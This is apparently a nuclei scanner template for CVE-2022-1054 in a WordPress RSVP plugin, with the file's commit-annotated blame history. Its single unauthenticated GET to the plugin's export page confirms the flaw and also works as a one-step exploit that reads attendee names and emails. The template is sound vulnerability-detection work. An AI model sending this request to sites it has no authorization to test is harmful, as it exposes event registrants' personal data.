nuclei-templates/http/cves/2022/CVE-2022-1054.yaml

id: CVE-2022-1054

info:
  name: WordPress RSVP and Event Management <2.7.8 - Missing Authorization
  author: Akincibor
  severity: medium
  description: WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events,
  impact: |
    An attacker can exploit this vulnerability to perform unauthorized actions, such as creating, modifying, or deleting events.
  remediation: |
    Update the WordPress RSVP and Event Management plugin to version 2.7.8 or later.
  reference:
    - https://wpscan.com/vulnerability/95a5fad1-e823-4571-8640-19bf5436578d
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2022-1054
    cwe-id: CWE-862
    epss-score: 0.00292
    epss-percentile: 0.65683
    cpe: cpe:2.3:a:wpchill:rsvp_and_event_management:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: wpchill
    product: rsvp_and_event_management
    framework: wordpress
  tags: wordpress,cve,cve2022,wpscan,wp,wp-plugin,wpchill

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'RSVP Status'
          - '"First Name"'
        condition: and

      - type: status
        status:
          - 200
# digest: 490a00463044022003a4da6bcfa554dd5275f193b364320783e26f57b75983b5b45bc01fbb427d2c02205732005ad899b91e50c9c72ee4741a5c5de8d0ab35ad50a24c153421774681f4:922c64590222798bb761d5b6d8e72950
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00			`id: CVE-2022-1054`

			`info:`
Enhancement: cves/2022/CVE-2022-1054.yaml by md 2023-04-06 21:30:22 +00:00			`name: WordPress RSVP and Event Management <2.7.8 - Missing Authorization`
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00			`author: Akincibor`
			`severity: medium`
Enhancement: cves/2022/CVE-2022-1054.yaml by md 2023-04-06 22:39:30 +00:00			`description: WordPress RSVP and Event Management plugin before 2.7.8 is susceptible to missing authorization. The plugin does not have any authorization checks when exporting its entries, and the export function is hooked to the init action. An attacker can potentially retrieve sensitive information such as first name, last name, and email address of users registered for events,`
Added Impact 2023-09-27 15:51:13 +00:00			`impact: \|`
			`An attacker can exploit this vulnerability to perform unauthorized actions, such as creating, modifying, or deleting events.`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`remediation: \|`
			`Update the WordPress RSVP and Event Management plugin to version 2.7.8 or later.`
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00			`reference:`
			`- https://wpscan.com/vulnerability/95a5fad1-e823-4571-8640-19bf5436578d`
CVE info update for CVE-2022-1054.yaml 2022-04-22 16:29:43 +00:00			`classification:`
additional reference to cves templates (#4395) * additional reference to cves templates * Update CVE-2006-1681.yaml * Update CVE-2009-3318.yaml * Update CVE-2009-4223.yaml * Update CVE-2010-0942.yaml * Update CVE-2010-0944.yaml * Update CVE-2010-0972.yaml * Update CVE-2010-1304.yaml * Update CVE-2010-1308.yaml * Update CVE-2010-1313.yaml * Update CVE-2010-1461.yaml * Update CVE-2010-1470.yaml * Update CVE-2010-1471.yaml * Update CVE-2010-1472.yaml * Update CVE-2010-1474.yaml * removed duplicate references * misc fix Co-authored-by: Prince Chaddha <prince@projectdiscovery.io> Co-authored-by: Prince Chaddha <cyberbossprince@gmail.com> 2022-05-17 09:18:12 +00:00			`cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N`
			`cvss-score: 5.3`
CVE info update for CVE-2022-1054.yaml 2022-04-22 16:29:43 +00:00			`cve-id: CVE-2022-1054`
			`cwe-id: CWE-862`
TemplateMan Update [Fri Nov 10 09:15:00 UTC 2023] :robot: 2023-11-10 09:15:01 +00:00			`epss-score: 0.00292`
TemplateMan Update [Tue Dec 12 11:07:51 UTC 2023] :robot: 2023-12-12 11:07:52 +00:00			`epss-percentile: 0.65683`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`cpe: cpe:2.3:a:wpchill:rsvp_and_event_management::::::wordpress::*`
Added max request counter of each template 2023-04-28 08:11:21 +00:00			`metadata:`
			`max-request: 1`
CVE Enrichment :tada: 2023-07-11 19:49:27 +00:00			`vendor: wpchill`
			`product: rsvp_and_event_management`
updated 2022 CVEs 2023-09-06 11:59:08 +00:00			`framework: wordpress`
tags enhancements 2023-12-05 09:50:33 +00:00			`tags: wordpress,cve,cve2022,wpscan,wp,wp-plugin,wpchill`
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com> 2023-04-27 04:28:59 +00:00			`http:`
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00			`- method: GET`
			`path:`
			`- '{{BaseURL}}/wp-admin/admin.php?page=rsvp-admin-export'`

			`matchers-condition: and`
			`matchers:`
			`- type: word`
			`part: body`
			`words:`
			`- 'RSVP Status'`
Update CVE-2022-1054.yaml 2022-04-22 13:27:48 +00:00			`- '"First Name"'`
			`condition: and`
Create CVE-2022-1054.yaml 2022-04-20 22:51:08 +00:00
			`- type: status`
			`status:`
			`- 200`
Auto Template Signing [Tue Dec 12 12:02:03 UTC 2023] :robot: 2023-12-12 12:02:03 +00:00			`# digest: 490a00463044022003a4da6bcfa554dd5275f193b364320783e26f57b75983b5b45bc01fbb427d2c02205732005ad899b91e50c9c72ee4741a5c5de8d0ab35ad50a24c153421774681f4:922c64590222798bb761d5b6d8e72950`